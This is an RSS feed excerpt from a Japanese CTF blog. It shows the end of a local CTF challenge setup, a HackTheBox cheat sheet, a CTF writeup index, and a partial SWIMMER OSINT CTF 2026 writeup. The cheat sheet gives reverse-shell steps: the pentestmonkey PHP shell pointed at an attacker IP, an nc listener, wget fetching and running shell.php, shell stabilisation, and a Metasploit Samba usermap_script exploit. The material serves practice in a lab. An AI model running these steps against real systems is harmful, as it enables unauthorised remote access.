&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">num&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;answer: &amp;#34;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">num&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">ans&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Corect! &amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;It&amp;#39;s not right.&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">add&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># mult()&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">flag.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">FLAG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;flag{good_job!}&amp;#34;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;h4 id="ファイルのあるディレクトリで以下を実行">ファイルのあるディレクトリで以下を実行&lt;/h4>
&lt;pre tabindex="0">&lt;code>$ docker-compose up
&lt;/code>&lt;/pre>&lt;br>
　手動でアクセスする場合は以下のように．
&lt;br>&lt;br>
&lt;pre tabindex="0">&lt;code>$ nc 127.0.0.1 4649
&lt;/code>&lt;/pre>&lt;br>
　Solver.py を実行する場合は以下のように．
&lt;br>&lt;br>
&lt;pre tabindex="0">&lt;code>$ python Solver.py
[x] Opening connection to 127.0.0.1 on port 4649
[x] Opening connection to 127.0.0.1 on port 4649: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 4649: Done
Add and answer in decimal.
0xa7c
0o7217
0b10000110101110
0xc8
0b110110111111
answer:
18752
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 24B
[+] Receiving all data: Done (24B)
[*] Closed connection to 127.0.0.1 port 4649
Corect! flag{good_job!}
$ python Solver.py
[x] Opening connection to 127.0.0.1 on port 4649
[x] Opening connection to 127.0.0.1 on port 4649: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 4649: Done
Multiply and answer in decimal.
a =
3811
b =
6188
c =
6282
answer:
148145063976
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 24B
[+] Receiving all data: Done (24B)
[*] Closed connection to 127.0.0.1 port 4649
Corect! flag{good_job!}
&lt;/code>&lt;/pre>&lt;/details>
&lt;h2 id="hacktheboxhtb">HackTheBox(HTB)&lt;/h2>
&lt;h3 id="vpn">VPN&lt;/h3>
&lt;p>HTBの右上の方の&lt;code>CONNECT TO HTB&lt;/code>から，&lt;code>DOWNLOAD VPN&lt;/code>を押して&lt;code>***.ovpn&lt;/code>をダウンロード．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ sudo openvpn ***.ovpn
…
Initialization Sequence Completed
…
&lt;/code>&lt;/pre>&lt;p>前後に色々ログが出るが，Initialization Sequence Completed が出れば成功．&lt;/p>
&lt;h4 id="openvpnのプロセスが複数残った場合">openvpnのプロセスが複数残った場合&lt;/h4>
&lt;p>&lt;code>sudo openvpn ***.ovpn &lt;/code>を&lt;code>Ctrl + C&lt;/code>などで正しく終了させないと，openvpnのプロセスが複数残ってしまう場合がある．&lt;/p>
&lt;pre tabindex="0">&lt;code>pgrep -a openvpn
&lt;/code>&lt;/pre>&lt;p>で複数プロセスが存在する場合，ルーティングテーブルがバグってしまう場合があり，うまくつながらなくなるので，&lt;/p>
&lt;pre tabindex="0">&lt;code>sudo pkill openvpn
&lt;/code>&lt;/pre>&lt;p>ですべて終了させた後，再度接続するようにする．&lt;/p>
&lt;h3 id="nmap">nmap&lt;/h3>
&lt;pre tabindex="0">&lt;code>$ nmap -Pn -T4 -sV -sC -A [IPアドレス]
&lt;/code>&lt;/pre>&lt;ul>
&lt;li>Pn: 事前のping送信をしない&lt;/li>
&lt;li>T4: スキャン速度の指定．0~5で数字が高いほど早いがエラーが出やすい&lt;/li>
&lt;li>sV: 動作しているサービスのバージョンを確認&lt;/li>
&lt;li>sC: デフォルトスクリプトスキャン&lt;/li>
&lt;li>A: 詳細スキャン&lt;/li>
&lt;li>v: スキャン中の進捗や詳細を表示．-vv にするとさらに詳細に．&lt;/li>
&lt;/ul>
&lt;h3 id="etchosts">/etc/hosts&lt;/h3>
&lt;p>&lt;code>/etc/hosts&lt;/code> は名前解決用のローカルファイル．&lt;br>
ローカルのIPアドレスの名前解決を利用する場合，手動で追加する必要がある．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ sudo vi /etc/hosts
10.10.11.68 planning.htb
&lt;/code>&lt;/pre>&lt;h3 id="リバースシェル">リバースシェル&lt;/h3>
&lt;p>以下から&lt;code>php-reverse-shell.php&lt;/code>をダウンロードする（以下&lt;code>shell.php&lt;/code>），&lt;/p>
&lt;p>php-reverse-shell:&lt;br>
&lt;a href="https://github.com/pentestmonkey/php-reverse-shell"target="_blank" rel="noopener noreferrer">https://github.com/pentestmonkey/php-reverse-shell&lt;/a>&lt;/p>
&lt;p>IPアドレス（自分のIPアドレス）とポートを設定する．&lt;/p>
&lt;pre tabindex="0">&lt;code>49 $ip = &amp;#39;10.10.x.x&amp;#39;; // CHANGE THIS
50 $port = 4444; // CHANGE THIS
&lt;/code>&lt;/pre>&lt;p>netcatでリッスン状態にしておく．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ nc -lvvp 4444
&lt;/code>&lt;/pre>&lt;h4 id="wgetでダウンロードする場合">①wgetでダウンロードする場合&lt;/h4>
&lt;p>&lt;code>shell.php&lt;/code>のあるディレクトリで，以下を実行し簡易サーバを立てる．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
&lt;/code>&lt;/pre>&lt;p>ダウンロードしたい場所で以下を実行するとダウンロードできる．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ wget [自分のIPアドレス]:8000/shell.php
or
$ bash -c &amp;#34;wget [自分のIPアドレス]:8000/shell.php&amp;#34;
&lt;/code>&lt;/pre>&lt;p>以下で shell.php を実行させる．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ php shell.php
or
$ bash -c &amp;#34;php shell.php&amp;#34;
&lt;/code>&lt;/pre>&lt;h4 id="アップロード機能を利用する場合">②アップロード機能を利用する場合&lt;/h4>
&lt;p>&lt;code>shell.php&lt;/code>をアップロード機能を用いてアップロードする．&lt;br>
phpが許可されていない場合は，使用可能な拡張子に変更．&lt;br>
格納されたディレクトリに，ブラウザまたはcurlコマンドでアクセス．&lt;/p>
&lt;p>①または②でシェルが取得出来たら，以下を実行してシェルを安定化させる．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ python3 -c &amp;#39;import pty;pty.spawn(&amp;#34;/bin/bash&amp;#34;);&amp;#39;
&lt;/code>&lt;/pre>&lt;p>参考：&lt;br>
&lt;a href="https://qiita.com/Brutus/items/1f9b1db93482ffbca6c2"target="_blank" rel="noopener noreferrer">https://qiita.com/Brutus/items/1f9b1db93482ffbca6c2&lt;/a>&lt;/p>
&lt;h3 id="searchsploit">searchsploit&lt;/h3>
&lt;p>脆弱性の検索．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ searchsploit vsFTPd 2.3.4
----------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results
$ searchsploit samba 3.0.20
----------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------- ---------------------------------
Samba 3.0.10 &amp;lt; 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 &amp;lt; 3.0.25rc3 - &amp;#39;Username&amp;#39; map script&amp;#39; Command | unix/remote/16320.rb
Samba &amp;lt; 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba &amp;lt; 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results
&lt;/code>&lt;/pre>&lt;h3 id="metasploit">Metasploit&lt;/h3>
&lt;p>Metasploit Frameworkは攻撃コードの作成，実行を行うためのフレームワークソフトウエア．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ msfconsole
msf6 &amp;gt; search Samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba &amp;#34;username map script&amp;#34; Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
msf6 &amp;gt; use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) &amp;gt; options
odule options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:po
rt][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/
docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.19.46.189 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(multi/samba/usermap_script) &amp;gt; set rhosts [ターゲットのIPアドレス]
msf6 exploit(multi/samba/usermap_script) &amp;gt; set lhost [攻撃者側のIPアドレス]
msf6 exploit(multi/samba/usermap_script) &amp;gt; run
&lt;/code>&lt;/pre>&lt;h3 id="linuxコマンド">linuxコマンド&lt;/h3>
&lt;pre tabindex="0">&lt;code>$ whoami // 現在ログイン中のユーザー名を表示
root
$ id // uid：ユーザーID，gid：Group ID，groups：所属しているすべてのグループ
uid=0(root) gid=0(root) groups=0(root)
$ su [ユーザー名] // ユーザーを一時的に切り替える
$ sudo -l // sudo権限の一覧
$ find / -name user.txt
$ find / -name root.txt
$ grep -r &amp;#34;pass&amp;#34; ./folder
$ grep -r &amp;#34;database&amp;#34; ./folder | grep &amp;#34;root&amp;#34;
$ tar -xjf xxx.tar.bz2
&lt;/code>&lt;/pre></description></item><item><title>📌CTF Writeups</title><link>https://stark2420.github.io/starknote/post/ctf-data/</link><pubDate>Mon, 01 Dec 2025 00:00:00 +0000</pubDate><author>example@example.com (Stark)</author><guid>https://stark2420.github.io/starknote/post/ctf-data/</guid><description>&lt;p>解いたCTF問題の一覧．&lt;/p>
&lt;style>
.cat {
display: inline-block;
padding: 2px 8px;
border-radius: 6px;
font-size: 0.85em;
font-weight: 600;
color: #1f2937; /* 読みやすい濃色 */
white-space: nowrap;
border: 1px solid rgba(0,0,0,0.1);
}
th.sortable {
cursor: pointer;
user-select: none;
}
th.sortable::after {
content: "";
margin-left: 6px;
font-size: 0.7em;
opacity: 0.6;
}
th.sortable.asc::after {
content: "▲";
}
th.sortable.desc::after {
content: "▼";
}
th.sortable:hover::after {
opacity: 1;
}
th.sortable.asc,
th.sortable.desc {
color: #2563eb; /* 青系 */
}
&lt;/style>
&lt;td>&lt;span class="cat">Pwn&lt;/span>&lt;/td>
&lt;td>&lt;span class="cat">Web&lt;/span>&lt;/td>
&lt;td>&lt;span class="cat">Rev&lt;/span>&lt;/td>
&lt;td>&lt;span class="cat">Crypto&lt;/span>&lt;/td>
&lt;td>&lt;span class="cat">Misc&lt;/span>&lt;/td>
&lt;td>&lt;span class="cat">Osint&lt;/span>&lt;/td>
&lt;table id="sortable-table">
&lt;thead>
&lt;tr>
&lt;th onclick="sortTable(0, this)" class="sortable">Name&lt;/th>
&lt;th onclick="sortTable(1, this)" class="sortable">Event&lt;/th>
&lt;th onclick="sortTable(2, this)" class="sortable">Category&lt;/th>
&lt;th onclick="sortTable(3, this)" class="sortable">Difficulty&lt;/th>
&lt;th onclick="sortTable(4, this)" class="sortable">Tags&lt;/th>
&lt;th onclick="sortTable(5, this)" class="sortable">Dates&lt;/th>
&lt;th onclick="sortTable(6, this)" class="sortable">備考&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;a href="https://stark2420.github.io/starknote/starknote/post/alpacahack/#alpacahack-2100-welcome">AlpacaHack 2100&lt;/a>&lt;/td>
&lt;td>Daily AlpacaHack&lt;/td>
&lt;td>&lt;span class="cat">Misc&lt;/span>&lt;/td>
&lt;td>Welcome&lt;/td>
&lt;td>URL&lt;/td>
&lt;td>2025-12-01&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://stark2420.github.io/starknote/starknote/post/alpacahack/#emojify-medium">Emojify&lt;/a>&lt;/td>
&lt;td>Daily AlpacaHack&lt;/td>
&lt;td>&lt;span class="cat">Web&lt;/span>&lt;/td>
&lt;td>Medium&lt;/td>
&lt;td>JavaScript, URL()&lt;/td>
&lt;td>2025-12-03&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://stark2420.github.io/starknote/starknote/post/alpacahack/#log-viewer-medium">Log Viewer&lt;/a>&lt;/td>
&lt;td>Daily AlpacaHack&lt;/td>
&lt;td>&lt;span class="cat">Web&lt;/span>&lt;/td>
&lt;td>Medium&lt;/td>
&lt;td>awk&lt;/td>
&lt;td>2025-12-22&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://stark2420.github.io/starknote/starknote/post/alpacahack/#simpleoverwrite-medium">simpleoverwrite&lt;/a>&lt;/td>
&lt;td>Daily AlpacaHack&lt;/td>
&lt;td>&lt;span class="cat">Pwn&lt;/span>&lt;/td>
&lt;td>Medium&lt;/td>
&lt;td>BOF&lt;/td>
&lt;td>2025-12-27&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://stark2420.github.io/starknote/starknote/post/alpacahack/#secret-table-medium">secret-table&lt;/a>&lt;/td>
&lt;td>Daily AlpacaHack&lt;/td>
&lt;td>&lt;span class="cat">Web&lt;/span>&lt;/td>
&lt;td>Medium&lt;/td>
&lt;td>SQLi&lt;/td>
&lt;td>2026-01-08&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://stark2420.github.io/starknote/starknote/post/alpacahack/#basic-buffer-overflow-medium">Basic Buffer Overflow&lt;/a>&lt;/td>
&lt;td>Daily AlpacaHack&lt;/td>
&lt;td>&lt;span class="cat">Pwn&lt;/span>&lt;/td>
&lt;td>Medium&lt;/td>
&lt;td>BOF&lt;/td>
&lt;td>2026-01-12&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://stark2420.github.io/starknote/starknote/post/alpacahack/#free-comment-hard">free-comment&lt;/a>&lt;/td>
&lt;td>Daily AlpacaHack&lt;/td>
&lt;td>&lt;span class="cat">Misc&lt;/span>&lt;/td>
&lt;td>Hard&lt;/td>
&lt;td>pyexec&lt;/td>
&lt;td>2026-01-14&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://stark2420.github.io/starknote/starknote/post/alpacahack/#base-length-medium">Base Length&lt;/a>&lt;/td>
&lt;td>Daily AlpacaHack&lt;/td>
&lt;td>&lt;span class="cat">Misc&lt;/span>&lt;/td>
&lt;td>Medium&lt;/td>
&lt;td>Base64, Base32&lt;/td>
&lt;td>2026-01-17&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;script>
const CATEGORY_COLORS = {
Pwn: '#fecaca', // 赤（少し濃い）
Web: '#bfdbfe', // 青
Rev: '#ddd6fe', // 紫
Crypto:'#fde68a', // 黄
Misc: '#a7f3d0', // 緑
Osint: '#a5f3fc' // 水色
};
document.querySelectorAll('.cat').forEach(el => {
const name = el.innerText.trim();
el.style.backgroundColor =
CATEGORY_COLORS[name] || autoColor(name);
});
/* 未定義カテゴリ用：少し濃い自動色 */
function autoColor(str) {
let hash = 0;
for (let i = 0; i &lt; str.length; i++) {
hash = str.charCodeAt(i) + ((hash &lt;&lt; 5) - hash);
}
const hue = hash % 360;
return `hsl(${hue}, 65%, 80%)`;
}
let sortDirection = {};
function sortTable(colIndex, th) {
const table = document.getElementById("sortable-table");
const tbody = table.tBodies[0];
const rows = Array.from(tbody.rows);
const dir = sortDirection[colIndex] === "asc" ? "desc" : "asc";
sortDirection = {}; // 他列リセット
sortDirection[colIndex] = dir;
// 全ヘッダのアイコンをリセット
table.querySelectorAll("th.sortable").forEach(h => {
h.classList.remove("asc", "desc");
});
th.classList.add(dir);
rows.sort((a, b) => {
let x = a.cells[colIndex].innerText.trim();
let y = b.cells[colIndex].innerText.trim();
const dx = Date.parse(x);
const dy = Date.parse(y);
if (!isNaN(dx) &amp;&amp; !isNaN(dy)) {
return dir === "asc" ? dx - dy : dy - dx;
}
return dir === "asc"
? x.localeCompare(y, "ja")
: y.localeCompare(x, "ja");
});
rows.forEach(row => tbody.appendChild(row));
}
&lt;/script></description></item><item><title>SWIMMER OSINT CTF 2026 Writeup</title><link>https://stark2420.github.io/starknote/post/swimmer-osint-ctf-2026/</link><pubDate>Sun, 18 Jan 2026 00:00:00 +0000</pubDate><author>example@example.com (Stark)</author><guid>https://stark2420.github.io/starknote/post/swimmer-osint-ctf-2026/</guid><description>&lt;p>2026/1/17 12:10(JST) - 2026/1/18 0:10(JST)で開催された SWIMMER OSINT CTF 2026 に参加した．&lt;/p>
&lt;p>チームで参加し，結果は，3514 点で 688 チーム中 86 位だった．&lt;/p>
&lt;p>最後の問題以外は全て解けた．解いた問題についてまとめておく．&lt;/p>
&lt;p>&lt;a href="https://swimmer.diverctf.org/challenges"target="_blank" rel="noopener noreferrer">https://swimmer.diverctf.org/challenges&lt;/a>&lt;/p>
&lt;!-- ## briefing
### 00_agreement (10pt / 687 solves)
### 01_flag_format (10pt / 672 solves)
### 02_social_media_rule (10pt / 668 solves)
### 03_contact (10pt / 667 solves)
### 04_share (10pt / 665 solves)
### 05_AI (10pt / 664 solves)
### 06_ask_for_admin (10pt / 663 solves)
### 07_research_order (10pt / 654 solves) -->
&lt;h2 id="tgt_rain">tgt_rain&lt;/h2>
&lt;h3 id="rain_01_social-100pt--554-solveseasy">rain_01_social (100pt / 554 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>rain は2026年時点でXのアカウントを所持していたようです。&lt;br>
我々は、この人物の投稿のスクリーンショットを入手しました。&lt;br>
スクリーンショットからアカウントを特定し、このアカウントのID（スクリーンネーム）を解答してください。&lt;br>
例えば、@gov_online が対象のアカウントの場合、Flag は SWIMMER{@gov_online} となります。&lt;br>
rain_01_social.jpg&lt;/p>
&lt;/blockquote>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/rain_01_social.jpg"
alt="This is a image"/>&lt;/p>
&lt;p>スクリーンショットに写っている「これわりと近所だったから見に行ったな」で検索すると出てきた．&lt;/p>
&lt;p>&lt;a href="https://x.com/bruto_rain"target="_blank" rel="noopener noreferrer">https://x.com/bruto_rain&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{@bruto_rain}&lt;/code>&lt;/p>
&lt;h3 id="rain_02_region-316pt--154-solvesmedium">rain_02_region (316pt / 154 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>rain は自身のブログに趣味の投稿を行っていたようです。 投稿に用いられている写真のほとんどがこの人物の撮影したものではないフェイクのようですが、1枚だけ、実際にこの人物が撮影したと考えられる写真が存在します。 その写真を特定し、撮影地を地図上で解答してください。&lt;/p>
&lt;/blockquote>
&lt;p>人力でフェイクかどうかを判別していった．&lt;/p>
&lt;p>最終的に，以下が正しそうと判断．&lt;/p>
&lt;p>&lt;img src="https://brutorain.wordpress.com/wp-content/uploads/2025/12/keihan-2.png?w=1440"
alt="This is a image"/>&lt;/p>
&lt;p>星ケ丘の構内図より，トイレの位置から牧方市方面から撮影しているとわかる．&lt;/p>
&lt;p>&lt;a href="https://www.keihan.co.jp/traffic/station/215/info.html"target="_blank" rel="noopener noreferrer">https://www.keihan.co.jp/traffic/station/215/info.html&lt;/a>&lt;/p>
&lt;p>よって，以下のあたりを提出すると正解であった．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im10.png"
alt="This is a image"/>&lt;/p>
&lt;h3 id="rain_03_source1-256pt--177-solvesmedium">rain_03_source1 (256pt / 177 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>rain は、目を引くタイトルの記事を書くことで閲覧数が多くなると考えたようです。&lt;br>
この人物はこれをきっかけとして偽情報の作成・流布にのめり込んでしまったと考えられます。&lt;br>
この人物が一番最初に投稿した偽記事では、ある画像に全く関係ないキャプションが付けられています。 本来の出典を探し、この画像がどこの市区町村にまつわる資料に掲載されたものか解答してください。&lt;br>
都道府県名を含む必要はありません。&lt;br>
例えば、平塚市 の資料に掲載されていた場合、Flagは SWIMMER{平塚市} となります。&lt;/p>
&lt;/blockquote>
&lt;p>&lt;a href="https://dl.ndl.go.jp/"target="_blank" rel="noopener noreferrer">国立国会図書館デジタルコレクション&lt;/a> で画像にある「池過濾ノ中事工」を検索．&lt;/p>
&lt;p>豊橋市水道誌に同じ画像が記載されていた．&lt;/p>
&lt;p>&lt;a href="https://dl.ndl.go.jp/pid/1225183/1/28?keyword=%E6%B1%A0%E9%81%8E%E6%BF%BE%E3%83%8E%E4%B8%AD%E4%BA%8B%E5%B7%A5"target="_blank" rel="noopener noreferrer">https://dl.ndl.go.jp/pid/1225183/1/28?keyword=%E6%B1%A0%E9%81%8E%E6%BF%BE%E3%83%8E%E4%B8%AD%E4%BA%8B%E5%B7%A5&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{豊橋市}&lt;/code>&lt;/p>
&lt;h3 id="rain_04_source2-100pt--414-solveseasy">rain_04_source2 (100pt / 414 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>rain が2番目に作成した偽記事には、「rainが未公開の情報を見つけた」ということが書かれているようです。しかし、これは虚偽だと思われます。&lt;br>
この人物の嘘を暴くには、正確な出典を探す必要があります。&lt;br>
この画像の出典となる古い書籍は電子化されており、詳細が参照できるはずです。&lt;br>
その資料のデジタルオブジェクト識別子（DOI）を解答してください。&lt;br>
例えば、答えが 12.34567/890123 の場合、Flagは SWIMMER{12.34567/890123} となります。&lt;/p>
&lt;/blockquote>
&lt;p>ブログはXのアカウントのプロフィールに記載されている． &lt;a href="https://brutorain.wordpress.com/"target="_blank" rel="noopener noreferrer">https://brutorain.wordpress.com/&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://brutorain.wordpress.com/2025/12/21/%e8%aa%b0%e3%82%82%e7%9f%a5%e3%82%89%e3%81%aa%e3%81%84%e7%9c%9f%e5%ae%9f%e3%82%92%e7%99%ba%e8%a6%8b/"target="_blank" rel="noopener noreferrer">2番目に作成した偽記事&lt;/a>の
画像を画像検索すると以下のサイトがヒットした．&lt;/p>
&lt;p>&lt;a href="https://commons.wikimedia.org/wiki/File:National_Diet_Building_Competition_Submission_Watanabe_Fukuzo.jpg"target="_blank" rel="noopener noreferrer">https://commons.wikimedia.org/wiki/File:National_Diet_Building_Competition_Submission_Watanabe_Fukuzo.jpg&lt;/a>&lt;/p>
&lt;blockquote>
&lt;p>Source http://dl.ndl.go.jp/info:ndljp/pid/967480/7&lt;/p>
&lt;/blockquote>
&lt;p>出典に飛ぶと，識別子（DOI）10.11501/967480 だとわかった．&lt;/p>
&lt;p>&lt;code>SWIMMER{10.11501/967480}&lt;/code>&lt;/p>
&lt;h3 id="rain_05_date-100pt--283-solvesmedium">rain_05_date (100pt / 283 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>rain は2025年12月25日 (JST)、ある場所に来たことをX上で投稿しています。&lt;br>
しかし、この画像は2025年の別の日に撮影された写真のようで、事実とは異なるようです。 この写真が本当に撮影された日を YYYY/MM/DD の形式で解答してください。&lt;br>
ただし、撮影日は日本時間（JST）を基準とします。 例えば、答えが2025年6月8日の場合、Flagは SWIMMER{2025/06/08} となります。&lt;/p>
&lt;/blockquote>
&lt;blockquote class="twitter-tweet">&lt;p lang="ja" dir="ltr">さっき関西着いた&lt;br>週末までこっち居ます &lt;a href="https://t.co/7Am8zjo2x4">pic.twitter.com/7Am8zjo2x4&lt;/a>&lt;/p>&amp;mdash; brutorain (@bruto_rain) &lt;a href="https://twitter.com/bruto_rain/status/2004085702469075019?ref_src=twsrc%5Etfw">December 25, 2025&lt;/a>&lt;/blockquote> &lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8">&lt;/script>
&lt;p>この画像は大阪城ホールであるとわかる．&lt;/p>
&lt;p>画像の中央辺りに看板が写っている．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im11.png"
alt="This is a image"/>&lt;/p>
&lt;p>画像検索すると，画像には「10000 Freude」というテキストが記載されていると判明．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im12.png"
alt="This is a image"/>&lt;/p>
&lt;p>「大阪城ホール 過去イベント 10000」で検索すると，12月7日（日）サントリー1万人の第九のイベントが出てきた．&lt;/p>
&lt;p>&lt;a href="https://www.suntory.co.jp/culture-sports/daiku/"target="_blank" rel="noopener noreferrer">https://www.suntory.co.jp/culture-sports/daiku/&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{2025/12/07}&lt;/code>&lt;/p>
&lt;h3 id="rain_06_ai-100pt--248-solveshard">rain_06_ai (100pt / 248 solves)[hard]&lt;/h3>
&lt;blockquote>
&lt;p>rain のブログには、東京駅の画像があります。しかし、これは実際に撮影したものではなく、AIで作成された画像のようです。&lt;br>
この画像が何というツールで作成されたのか特定し、解答してください。&lt;br>
例えば、答えが Adobe Firefly の場合、Flagは SWIMMER{Adobe Firefly} となります。&lt;/p>
&lt;/blockquote>
&lt;p>&lt;a href="https://brutorain.wordpress.com/2026/01/03/%e6%97%a5%e5%b8%b8%e3%82%92%e8%a8%98%e9%8c%b2%e3%81%99%e3%82%8b/"target="_blank" rel="noopener noreferrer">https://brutorain.wordpress.com/2026/01/03/%e6%97%a5%e5%b8%b8%e3%82%92%e8%a8%98%e9%8c%b2%e3%81%99%e3%82%8b/&lt;/a>&lt;/p>
&lt;p>&lt;code>tokyo_0003.jpeg&lt;/code>をダウンロードする．&lt;/p>
&lt;p>画像のプロパティをみると，コメントに以下が書かれていた．&lt;/p>
&lt;pre tabindex="0">&lt;code>{&amp;#34;aigc_info&amp;#34;:{&amp;#34;aigc_label_type&amp;#34;:0,&amp;#34;source_info&amp;#34;:&amp;#34;dreamina&amp;#34;},&amp;#34;data&amp;#34;:{&amp;#34;os&amp;#34;:&amp;#34;web&amp;#34;,&amp;#34;product&amp;#34;:&amp;#34;dreamina&amp;#34;,&amp;#34;exportType&amp;#34;:&amp;#34;generation&amp;#34;,&amp;#34;pictureId&amp;#34;:&amp;#34;0&amp;#34;},&amp;#34;trace_info&amp;#34;:
&lt;/code>&lt;/pre>&lt;p>よって，Dreaminaだとわかった．&lt;/p>
&lt;p>&lt;code>SWIMMER{Dreamina}&lt;/code>&lt;/p>
&lt;h2 id="tgt_debeyohiru">tgt_debeyohiru&lt;/h2>
&lt;h3 id="debeyohiru_01_social-100pt--429-solvesmedium">debeyohiru_01_social (100pt / 429 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>調査対象の人物はソフトウェアエンジニアで、2026年以降には debeyohiru というIDでの活動が確認されています。&lt;br>
この人物がこのIDでの活動を開始したのは2026年1月のようです。この人物がこれ以前に使用していたIDを特定できないでしょうか？&lt;br>
